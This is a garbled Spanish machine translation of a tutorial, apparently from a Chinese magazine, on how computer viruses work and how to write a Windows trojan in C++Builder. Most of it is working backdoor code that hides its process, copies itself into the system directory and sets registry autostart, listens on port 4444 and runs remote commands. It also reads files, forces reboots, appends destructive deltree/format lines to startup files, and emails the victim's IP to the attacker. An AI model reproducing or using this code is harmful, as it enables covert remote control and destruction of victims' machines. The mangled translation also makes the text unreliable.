¿Qué es un hacker? ¿Qué es un virus informático? ¿Cómo se hace?
Un virus informático es un programa, un código ejecutable. Al igual que los virus biológicos, los virus informáticos tienen una capacidad única de replicarse. Los virus informáticos pueden propagarse rápidamente.
Dilación y muchas veces difíciles de erradicar. Pueden adjuntarse a varios tipos de archivos. La copia de archivos se utiliza al copiar o transferir archivos de un usuario a otro.
Ampliar con archivo.
Además de la capacidad de replicarse, algunos virus informáticos tienen otra característica común: los programas contaminados pueden propagar vectores virales. Cuando ves vectores de virus, parece
que pueden haber dañado archivos, reformateado tu disco duro o causado algún otro tipo de desastre cuando aparecen simplemente como texto e imágenes. Si un virus no aloja un programa contaminado, aun así puede causarle problemas al ocupar espacio de almacenamiento y ralentizar el rendimiento general de su computadora.
La definición de virus informático se puede dar desde diferentes perspectivas. Una definición es que se propaga a través de medios como discos, cintas y redes, y puede "infectar" otros programas
Este proyecto. El otro es un programa latente, contagioso y destructivo que puede replicarse y existir con la ayuda de algún tipo de portador. Otra definición es aquella que es artificial.
Programa creado que acecha o parasita los medios de almacenamiento (como discos, memoria) o se propaga a través de diferentes canales. Cuando una determinada condición u oportunidad esté madura, se reproducirá.
Y propagarse provocando que los recursos del ordenador sean dañados por distintos programas, etc. Estas afirmaciones toman prestado el concepto de virus biológicos en cierto sentido. Los virus informáticos y los virus biológicos son lo mismo.
La similitud son los "patógenos" que pueden invadir los sistemas y redes informáticas y poner en peligro el normal trabajo. Puede causar todo tipo de daños a los sistemas informáticos y al mismo tiempo poder recuperarse.
El sistema es contagioso.
Por lo tanto, un virus informático es un virus informático que puede acechar de alguna manera en un medio (o programa) de almacenamiento informático y activarse cuando se cumplen determinadas condiciones.
Conjunto de programas o instrucciones que destruyen los recursos del ordenador.
Referencia:/pages/winfile/FaQ/bingdu.html
Cómo se escribió Troya (1)
Wuhan Weekly
Todos Está familiarizado con el término caballo de Troya. Desde que el grupo de hackers "Dead Cow Cult" anunció Back Orifice en 1998, los caballos de Troya han retumbado por el suelo, despertando a los internautas chinos que crecieron en la era DosWindows de los coloridos sueños de Internet, y finalmente se dieron cuenta de que Internet también tiene su lado malo.
En ese momento, vi un artículo en "Computer News" en el sentido de que un novato estaba controlado por un blog. Estaba tan asustado que no podía comer, dormir ni navegar por Internet. ¡Todo el día, así que estaba pidiendo ayuda en todas partes! Jaja, ya sabes, Troy tiene una larga historia: ya T Unix y BSD Unix eran muy populares. Los caballos de Troya están escritos en lenguaje C o Shell por algunos jóvenes (principalmente estadounidenses) que son muy buenos en programación (principalmente C. Básicamente se utilizan para robar la contraseña para iniciar sesión en el host para obtener permisos más altos). En aquel momento, el principal método del troyano era engañarte para que modificaras el tuyo. Archivar archivos e implantar troyanos. Al iniciar sesión, los caracteres de la contraseña ingresados se guardan en un archivo y se envían como un correo electrónico al buzón del atacante. La mayoría de los jóvenes en China crecieron bajo la influencia de DoS pirateados, por lo que están relativamente poco familiarizados con Internet. Hasta el nacimiento de Win9x, especialmente la popularidad de WinNt, que contribuyó en gran medida al desarrollo de la industria de las redes, desde la perspectiva de tres años después, el BO parecía algo simple o incluso tosco (incluso se puede ver en "Cerrar programa" cuadro de diálogo del proceso Win9x), que conmocionó enormemente al pueblo chino en ese momento. Se puede decir que es un software que hace época para la seguridad de la red de China.
Escribir tu propio caballo de Troya suena genial, ¿no? ! El caballo de Troya debe estar compuesto de dos partes: servidor y cliente. El servidor se encarga de abrir rutas de ataque, al igual que un espía. El cliente es responsable de atacar al objetivo y requiere un determinado protocolo de red para comunicarse (generalmente el protocolo TCP/IP).
Para que todos comprendan mejor la tecnología de ataque de los caballos de Troya y eliminen el misterio de los caballos de Troya, hablaré brevemente sobre la tecnología de escritura de caballos de Troya y, por cierto, escribiré un ejemplo de caballo de Troya para que todos puedan prevenir mejor. y matar varios troyanos conocidos y desconocidos.
La primera es la elección de las herramientas de programación. Las herramientas de desarrollo más populares actualmente incluyen C ++ Builder, VC, VB y Delphi. Aquí elegimos C ++ Builder (en lo sucesivo, BCB). Aunque VC es bueno, el diseño de la GUI es demasiado complicado. Resalte mi ejemplo: Para centrarnos en explicar los principios básicos de los caballos de Troya, elegimos visual BCB que también es bueno, pero su desventaja es que no puede heredar los recursos existentes (por ejemplo, el código fuente BO2000 publicado por "Dead Cow Cult"). "El grupo de hackers fue escrito por VC y se puede encontrar en todas partes en Internet); VB, olvídalo. ¿Envió la biblioteca de vínculos dinámicos de 1 MB Msvbvm60.dll a la víctima?
Inicie C++Builder 5.0 Enterprise Edition, cree un nuevo proyecto y agregue tres controles VCL: uno es Server Socket en la página de Internet y los otros dos son NMFTP y NMSMTP en la página Fastnet. La función del socket del servidor es hacer de este programa un programa de servidor que pueda servir a terceros (abriendo la puerta a los atacantes). Socket apareció por primera vez en Unix y luego Microsoft lo introdujo en Windows (incluidos Win98 y WINNT). Los dos últimos controles se utilizan para habilitar el programa con la funcionalidad FTP (Protocolo de transferencia de archivos) y SMTP (Protocolo simple de transferencia de correo). Como todos sabemos, son los controles que permiten que el software cargue y descargue funciones y envíe correos electrónicos.
La forma es visible, pero por supuesto es increíble. No sólo ocupa mucho espacio (un formulario por sí solo tiene un tamaño de hasta 300K), sino que también hace que el software sea visible y no tiene ningún efecto. Por lo tanto, cuando se escribe un caballo de Troya, se pueden utilizar algunas técnicas para evitar que el programa contenga formularios. Al igual que los pequeños programas implementados por Delphi mediante procesos, generalmente sólo tienen alrededor de 17 K.
Primero debemos hacer nuestro programa invisible. Haga doble clic en el formulario. Primero, agregue código en el evento FormCreate que oculta el troyano en el cuadro de diálogo de cierre del programa Win9x. Esto parece misterioso, pero en realidad es solo un proceso en segundo plano llamado Servicio, que puede ejecutarse con mayor prioridad. Se puede decir que es uno de los controladores de dispositivo muy cerca del núcleo del sistema. Entonces solo necesitamos usar la función RegisterServiceProcess() para registrar nuestro programa como un proceso de servicio en la base de datos de procesos. Sin embargo, la declaración de esta función no está en el archivo de encabezado preempaquetado de Borland, por lo que debemos declarar la función bird nosotros mismos en KERNEL32.DLL.
Primero determine si el sistema operativo de la máquina de destino es Win9x o WinNt:
{
DWORD dw version = GetVersion();
//Obtener el número de versión del sistema operativo
if (dw version & gt; = 0x80000000)
//El sistema operativo es Win9x, no WinNt.
{
typedef DWORD(CALLBACK * LPREGISTERSERVICEPROCESS)(DWORD, DWORD);
File:// define el prototipo de la función RegisterServiceProcess().
HINSTANCE hDLL
LPREGISTERSERVICEPROCESS LPREGISTERSERVICEPROCESS;
hDLL = LoadLibrary(" kernel 32 ");
Archivo://LoadRegisterServiceProcess() Biblioteca de enlace dinámico KERNEL32.DLL donde se encuentra la función.
lpRegisterServiceProcess =(lpRegisterServiceProcess)GetProcAddress(hDLL, "RegisterServiceProcess");
File://Obtiene la dirección de la función RegisterServiceProcess().
lpRegisterServiceProcess(GetCurrentProcessId(), 1);
File://Ejecute la función RegisterServiceProcess() para ocultar el proceso.
Biblioteca gratuita (hDLL);
Archivo://Desinstalar biblioteca de enlaces dinámicos
}
}
Para que finalmente pueda ser invisible (¡escribí tanto código!). ¿Por qué juzgar los sistemas operativos? Debido a que el administrador de procesos en WinNt tiene una visión clara del proceso actual, no es necesario usar el código anterior en WinNt (pero se pueden usar otros métodos, que se discutirán más adelante). Luego cópiese al directorio %System%, como C:\Windows\System, y modifique el registro para que se cargue automáticamente al inicio:
{
char TempPath[ MAX _ PATH];
Archivo:// define una variable.
GetSystemDirectory(TempPath, MAX _ PATH);
File://TempPath es la dirección del búfer del directorio del sistema, MAX_PATH es el tamaño del búfer, obteniendo así el directorio del sistema. de la ruta de la máquina de destino.
ruta del sistema = ansi string(TempPath);
File:// formatea la cadena TempPath en un estilo que el compilador puede usar.
CopiarArchivo(ParamStr(0)). c_str(), cadena ansi (ruta del sistema+"\\tapi32.exe"). c_str(), FALSE);
File://Cópiese en el directorio %System%, cámbiele el nombre a Tapi32.exe y disfrácese.
Registry = new TRegistry
File://Defina un objeto TRegistry y prepárese para modificar el registro. Este paso es crucial.
Registro ->RootKey = HKEY_LOCAL_MACHINE
File:// establece la clave principal en HKEY_LOCAL_MACHINE.
Registro->OpenKey("Software\\Microsoft\\Windows\\Current Version\\Running", TRUE);
Archivo://Abrir software de clave \\Microsoft \\Windows\\Versión actual\\Ejecutar, crearlo si no existe.
Pruebe
{
File:// Si la siguiente declaración es anormal, salte a catch para evitar que el programa se bloquee.
if(Registry->ReadString("crossbow ")!=SystemPath+"\\Tapi32.exe ")
Registry->WriteString("crossbow ", ruta del sistema+" \ \ tapi 32. exe ");
Archivo://Busque si hay un valor clave con la palabra "ballesta" y si es un directorio copiado% %System%+Tapi32.exe< / p>
Archivo://Si no, escriba el valor clave y el contenido anteriores.
}
Catch(...)
{
File:// Si hay un error, no hagas nada.
}
}
Bien, el proceso FormCreate se completa, por lo que Tapi32.exe se puede cargar automáticamente cada vez que se inicia. Véalo en ". Cuadro de diálogo "Cerrar programa" Antes de que avanzara el proceso, apareció el prototipo del caballo de Troya.
Luego seleccione el control ServerSocket y cambie Activo a verdadero en el inspector de objetos de la izquierda, de modo que se abra un puerto específico cuando se inicie el programa y el servidor esté en estado de funcionamiento. Luego complete el puerto 4444, que es el número de puerto del caballo de Troya. Por supuesto, también puedes utilizar otros. Pero debe tener cuidado de no utilizar puertos de gama baja por debajo de 1024, porque no sólo puede entrar en conflicto con los puertos utilizados por los protocolos de red básicos, sino que también puede ser descubierto fácilmente, así que intente utilizar puertos de gama alta por encima de 1024 (pero hay También es una técnica utilizar deliberadamente un puerto específico, porque Windows no informará un error si ocurre un conflicto _). Puede echar un vistazo al puerto utilizado para el control TNMFTP. Es el puerto 21, que es un puerto de control dedicado para el protocolo FTP. De manera similar, el puerto 25 de TNMSMTP también es un puerto dedicado para el protocolo SMTP.
Seleccione el control ServerSocket nuevamente, haga clic en la página "Eventos", haga doble clic en el evento OnClientRead y luego escriba el siguiente código:
{
ARCHIVO * fp = NULL
p>char *content;
int times _ of _ try
char TempFile[MAX _ PATH];
File:// definido Un montón de variables que se usarán más adelante.
sprintf(TempFile, " %s ", cadena ansi(ruta del sistema+cadena ansi("\\win 369.BAT")).c_str());
Archivo: //Crea un archivo de texto Win369.bat en %System% para usarlo como archivo temporal.
ansi ssing temp = Socket-& gt; recibir texto();
File:// recibe datos del cliente (el atacante, es decir, usted mismo).
}
¡Vale, la puerta está abierta! ¡Luego simplemente modifique las distintas configuraciones de la máquina de destino! _Primero, modifiquemos Autoexec.bat y Config.sys:
{
If (temperature.SubString(0, 9)=="edit conf ")
Archivo://Si los primeros 9 caracteres de la cadena recibida son "edit conf"
{
int number=temp length();
Archivo :// obtiene la longitud de la cadena.
int file_name=atoi((temp.substring(11,1)).c_str());
File://Convierte 11 caracteres a tipo entero y se almacena en el variable nombre_archivo.
¿Por qué File:// necesita tener 11 caracteres? Porque 10 caracteres son espacios.
Contenido = (temperatura.
SubCadena(12,número-11)+'\n '). c_str();
Archivo://La cadena restante se escribirá en el archivo de destino como contenido de escritura.
FILE * fp = NULL
Nombre del archivo de caracteres [20]
chmod("c:\\autoexec.bat ", S_IREADS_IWRITE ); p>
chmod("c:\\config.sys ", S_IREADS_IWRITE);
File://cambia los atributos de los dos archivos de destino a legibles y escribibles.
if(nombre de archivo==1)
sprintf(nombre de archivo, "%s", "c:\\autoexec.bat");
Archivo: //Si los 11 caracteres son 1, formatee Autoexec.bat
else if (file name==2)
sprintf(file name, " %s ", " c: \ \ config . sys ");
Archivo://Si el carácter 11 es 1, entonces formatee Config.sys
veces _ of _ try = 0;
Archivo://definir contador
mientras(fp==NULL)
{
Archivo://si el puntero es nulo
fp=fopen(filename, "a+");
Archivo://Si el archivo no existe, créelo. Si existe, prepárese para agregarlo después.
Archivo://Si hay un error, el puntero del archivo está vacío, por lo que se repetirá.
veces _ de _ intento = veces _ de _ intento+1
Archivo://contador más 1
if (número de intentos & gt100)
{
File://Si lo intentas 100 veces y aún fallas.
Socket->SendText("Error al abrir el archivo");
File:// devuelve un mensaje de error de "Error al abrir el archivo".
Ir al final;
Archivo://saltar al final.
}
}
fwrite(contenido, tamaño de(char), strlen(contenido),
Archivo:/ /Escriba la declaración agregada, como deltree/y C: o format/q/autotest C:. ¿Es lo suficientemente venenoso? !
fclose(FP);
File://Cierra el archivo de destino después de escribir.
Socket-> enviar texto(" éxito ");
File:// y luego enviar de vuelta el mensaje de éxito de "éxito"
}
}
La última vez hablamos sobre cómo modificar el archivo de configuración de inicio en la máquina de destino. Esta vez echamos un vistazo al árbol de directorios y los archivos en la máquina de destino. dir", ¿escribir más tarde? :
{
else if (temperature.SubString(0, 3)=="dir ")
{
Archivo: //Si los primeros 3 caracteres son "dir"
int Read_Num
char * CR _ LF = " \ n
int atributo;
char *nombre de archivo;
DIR * dir
dirección de la estructura;
int número=temp longitud();
File://Obtener la longitud de la cadena
AnsiString Dir _ Name = temp.
Subcadena (5, número -3);
Archivo://A partir del sexto carácter de la cadena, almacene los siguientes caracteres en la variable Dir_Name, que es el nombre del directorio.
if(nombre del directorio == " ")
{
Archivo://si el nombre del directorio está vacío
Socket - >SendText("Error al abrir el nombre del directorio");
File:// devuelve el mensaje "Error al abrir el nombre del directorio".
Ir al final;
Archivo://saltar al final
}
char * dirname
dirname = Dir _ nombre . c _ str();
if((dir = opendir(dirname))= = NULL)
{
Archivo: //Si se produce un error al abrir el directorio,
Socket->("¡Error al presionar el nombre de su directorio!");
File:// devuelve el archivo. mensaje "Porque el nombre de su directorio falló".
Ir al final;
Archivo://saltar al final
}
veces _ de _ intento = 0 ; p>
p>
while(fp==NULL)
{
Archivo://si el puntero es nulo
fp= fopen(TempFile, " w+ ");
El archivo:// está preparado para lectura y escritura al crear system\Win369.bat; si el archivo ya existe, se sobrescribirá.
veces _ de _ intento = veces _ de _ intento+1
Archivo://contador más 1
if (número de intentos & gt100)
{
File://Si lo intentas 100 veces y aún no lo logras (¡qué paciencia!)
Socket->SendText( "Error para abrir el archivo");
File:// devuelve el mensaje de error "Error al abrir el archivo".
Ir al final;
Archivo:// y saltar al final.
}
}
mientras ((ent = readdir(dir))!=null)
{
Archivo://Si se accede correctamente al directorio de destino,
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
Archivo: //Si el último carácter no es "\", no es el directorio raíz.
nombre de archivo =(cadena ansi(nombredir)+" \ \ "+ent-& gt;d_name). c_str();
File:// apunta el puntero a la secuencia del directorio después de agregar el carácter \".
Otro
filename =(ansi string( dirname)+ent-& gt; d_name). c _ str();
Si File:// es el directorio raíz, no es necesario agregar \ ".
attrib=_rtl_chmod(nombre de archivo, 0);
File:// obtiene el atributo de acceso del archivo de destino.
Si (atributo y amp solo envía_r)
Archivo:///& amp son las dos variables antes y después de la comparación. Si son iguales, devuelve 1; en caso contrario, devuelve 0.
fwrite(" R ", sizeof(char), 3, FP);
File:// establece el atributo del archivo de destino en solo lectura.
Otros
fwrite(",sizeof(char),3,FP);
File://escribe un espacio si falla.
If (attribute & ampFA_HIDDEN)
fwrite("H",sizeof(char),1,FP);
File:// establece el atributo del archivo de destino en oculto
Otro
fwrite(", sizeof(char), 1, FP);
Archivo:// Escribe un espacio si falla.
if (property&FA_system)
fwrite("S",sizeof(char),1,FP);
File:// será el atributo del archivo de destino está configurado en sistema.
Otros
fwrite(",sizeof(char),1,FP);
File://escribe un espacio si falla.
If (attribute & ampFA_ARCH)
fwrite("A ",sizeof(char),1,FP);
File:// establece el atributo del archivo de destino en normal.
Otro
fwrite(", sizeof(char), 1, FP);
File:// Escribe un espacio si falla.
if (atributo & ampFA_DIREC)
fwrite(" <directorio>,sizeof(char),9,FP);
Archivo:// Conjunto el atributo del archivo de destino al directorio
Otro
fwrite(", sizeof(char), 9, FP);
File:// si falla. Solo escribe un espacio.
fwrite(ent->;d_name, sizeof(char), strlen(ent->d_name), FP);
File://escribe el nombre del directorio en el destino documento.
fwrite(CR_LF, 1, 1, FP);
Archivo://escribe una nueva línea
}
fclose( FP);
Archivo://archivo cerrado
closedir(dir);
Archivo://directorio cerrado
ARCHIVO * FP 1 = NULL;
veces _ de _ intento = 0
mientras(fp1==NULL)
{
fp1; =fopen(TempFile, " r ");
Archivo://Abrir Win369.bat para lectura.
veces _ de _ intento = veces _ de _ intento+1
Archivo://contador más 1
if (número de intentos & gt100)
{
File://Si lo intentas 100 veces y aún fallas.
Socket->SendText("Error al abrir el archivo");
File:// devuelve un mensaje de error de "Error al abrir el archivo".
Ir al final;
Archivo:// y saltar al final.
}
}
AnsiString Return _ Text =
char temp _ content[300];
for(int I = 0;i<300;i++)temp_content[I]= '\0';
Matriz vacía definida por file://
Read_Num= fread(temp_content, 1 , 300, FP 1);
File:// lee los primeros 300 caracteres del archivo de destino.
mientras(cantidad leída == 300)
{
Return_Text = Return_Text+temp_content
Archivo; ://Variable Return_Text más los 300 caracteres de ahora.
for(int I = 0;i<300;i++)temp_content[I]='\0';
Read_Num=fread(temp_content,1,300,FP 1);
Archivo://duplicado
};
Return_Text = Return_Text+temp_content;
Archivo://Return_Text variable más los 300 caracteres de ahora.
fclose(FP 1);
Archivo://Cerrar el archivo de destino
Socket-& gt; enviar texto(Return _ Text);
p>File:// devuelve el contenido de la variable Return_Text.
}
}
¿Es lo suficientemente largo? ! ¿Es tan difícil ver el árbol de directorios? ! Puede utilizar los distintos cuadros de lista de BCB para embellecer Client.exe. El siguiente paso es ver el contenido del archivo especificado, el cliente utilizará el comando "escribir". (¿Tienes los dedos cansados?):
{
De lo contrario, si (temperature.SubString(0, 4)=="type ")
{ p >
Archivo://si los primeros cuatro caracteres son "tipo"
int Read_Num
int number=temp length();
Registro nombre de archivo=temp. Subcadena (6, número -4);
File:// almacena la secuencia del archivo de destino en la variable File_Name.
veces _ de _ intento = 0
mientras(fp==NULL)
{
fp=fopen(File_Name. c_str(), "r");
Archivo://Abre el archivo de destino para leerlo.
veces _ de _ intento = veces _ de _ intento+1
Archivo://contador más 1
if (número de intentos & gt100)
{
File:// si lo intentas 100 veces.
Socket->SendText("Error al abrir el archivo");
File:// devuelve el mensaje de error "Error al abrir el archivo"
Ir para finalizar;
File://Ir al final
}
}
AnsiString Return _ Text =
char temp_content[300];
for(int I = 0;i<300;i++)temp_content[I]= ' \ 0 ';
File:// define un archivo vacío formación.
Read_Num=fread(temp_content, 1, 300, FP);
File:// lee los primeros 300 caracteres del archivo de destino.
mientras(cantidad leída == 300)
{
Return_Text = Return_Text+temp_content
El; contenido de file://Return_Text más los caracteres de ahora.
for(int I = 0;i<300;i++)temp_content[I]='\0';
Read_Num=fread(temp_content,1,300,FP
);Archivo://repetir
};
Return _ Text = Return _ Text+temp _ content
archivo El contenido de ://; Return_Text más los caracteres de ahora.
fclose(FP);
Archivo://Cerrar el archivo de destino
Socket-& gt; enviar texto(Return _ Text);
p>
File:// devuelve el contenido de Return_Text, que es el contenido del archivo que estás viendo.
}
}
¡Ejem! ¡Estoy agotado! Operemos brevemente la unidad óptica de la máquina de destino (nota: la declaración de la función mciSendString() está en el archivo de encabezado mmsystem.h):
{
else if(temp =="open ")
{
File://Si el contenido de la temperatura recibida está "abierto"
mciSendString(" configura la puerta de audio del CD open ", NULL , 0, NULL);
Archivo://Expulsa la bandeja de la unidad óptica.
}
else if(temp=="close ")
{
Archivo://si la temperatura recibida El contenido es "Cerrar"
mciSendString("Establecer puerta de audio del CD cerrada, espere", NULL, 0, NULL);
File:// simplemente colóquelo en la bandeja de la unidad óptica . ¡Por supuesto, también puedes hacer un bucle infinito para que su unidad óptica se divierta! ^_^
}
}
Luego está el intercambio de los botones izquierdo y derecho del mouse de la máquina de destino. El código es el siguiente:
{
else if(temp=="swap ")
{
SwapMouseButton(1) ;
p>Archivo://Intercambiar los botones izquierdo y derecho del mouse, ¿es simple?
}
}
Luego reinicie la máquina de destino. Sin embargo, al distinguir entre WinNt y Win9xNT, debemos prestar atención a los permisos de cada proceso en el sistema. Un proceso normal no debería tener permiso para llamar al sistema, por lo que debemos otorgarle a este programa permisos suficientes:
{
else if(temp=="reboot ")
{
Archivo://Si el contenido del temporal recibido es "temp"
DWORD dw version = GetVersion();
File://Obtiene el número de versión del sistema operativo.
if(dw version & lt; 0x80000000)
{
Archivo://El sistema operativo es WinNt, no Win9x.
Procesamiento hToken
TOKEN _ PRIVILEGES tkp
Archivo://definir variables
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_ PRIVILEGES TOKEN _ QUERY, & amphto ken);
La función es abrir un token de acceso para un proceso.
La función file://GetCurrentProcess() se utiliza para obtener el identificador del proceso.
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Permissions[0].luid);
La función de file://LookupPrivilegeValue() es modificar los permisos del proceso.
tkp. PrivilegeCount = 1;
Se otorga el privilegio File:// a este proceso.
tkp. Permisos[0]. Atributo = SE _ PRIVILEGE _ ENABLED
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
La función de file://AdjustTokenPrivileges() es Notifica a Windows NT que modifique los permisos del proceso.
Salga de WindowsEx(EWX_REBOOT EWX_FORCE, 0);
File://Force, salga de WinNt y reinicie.
}
else ExitWindowsEx(EWX _ FORCE+EWX _ REBOOT, 0);
File:// forzar el cierre de Win9x y reiniciar.
}
}
Si nada de lo anterior es correcto, deje que ejecute el comando entrante en la ventana Dos:
{
Otro
{
Archivo://si ninguno.
char * CR _ TF = "\ n
veces _ de _ intento = 0;
mientras(fp==NULL)
{
fp=fopen(TempFile, " w+");
File:// crea Win369.bat y lo sobrescribe si ya existe.
veces _ de _ intento = veces _ de _ intento+1
Archivo://contador más 1
if (número de intentos & gt100)
{
Socket-> SendText("Error al abrir el archivo");
File:// devuelve el mensaje "Error al abrir el archivo"
Ir al final;
Archivo://saltar al final
}
}
fwrite (temp .c_str(), sizeof(char), strlen(temp.c_str()), FP);
Archivo://Escribe el comando a ejecutar
fwrite( CR_TF, sizeof (char), strlen(CR_TF), FP);
Archivo://Escribe un carácter de nueva línea
fclose(FP);
Archivo :// cerrar Win369.bat
Sistema(TempFile);
Archivo:// ejecutar Win369.bat
Socket->SendText("Éxito" );
File:// devuelve información de "éxito".
}
}
Puede ejecutar directamente Ping, Tracert y otros comandos para espiar aún más el estado de la red de la máquina de destino (para determinar si es una LAN empresarial), y luego realizar más ataques, como los comandos Deltree y Format. ^_^
En este punto, todas las funciones del programa del servidor se han completado, pero la parte de tolerancia a fallas aún no está completa para evitar que el programa falle inesperadamente. Amigos, ¡no os vayáis! (Continuará)
Cómo escribir Troy (3)
Wuhan Weekly
La última vez habíamos escrito todas las funciones en el lado del servidor, pero el La parte de tolerancia a fallos aún no está completa. ¡Continuemos! Su código es el siguiente (_ se puede ingresar correctamente):
{
End:;
Socket->close();
Archivo://Cerrar el servicio.
Socket del servidor 1->Activo = verdadero
Archivo://Abre el servicio nuevamente.
if (NMS MTP 1->Conectado) NMS MTP 1->disconnect();
Archivo:// Desconectar si el servidor SMTP está conectado.
NMS MTP 1->; host = " SMTP . 163 . net ";
Archivo://Elija un buen servidor SMTP, como 163, 263, Sina, btamail.
NMS MTP 1->ID de usuario =
Archivo://su ID SMTP.
Pruebe
{
NMS MTP 1->;connect();
File:// para conectarse nuevamente.
}
Catch(...)
{
Ir a la próxima vez;
Archivo: //pasar a la próxima vez.
}
NMS MTP 1->publicar mensaje->FromAddress = "¡No lo sé!"
File:// Correo de la víctima.
NMS MTP 1->publicar mensaje->FromName = "Siniestro
Archivo://El nombre de la víctima.
NMS MTP 1->;publicar mensaje->a la dirección->Text = " crossbow @ 8848.net
Archivo://Enviar la carta a mi buzón. Esto El paso es crucial
NMS MTP 1->Publicar mensaje->Cuerpo->Texto = AnsiString("Servidor ejecutándose en:")+NMS MTP 1->LocalIP
El contenido. de la carta File:// le indica que "el servidor se está ejecutando" y le indica la dirección IP actual de la víctima a la que conectarse
NMS MTP 1->; Servidor en ejecución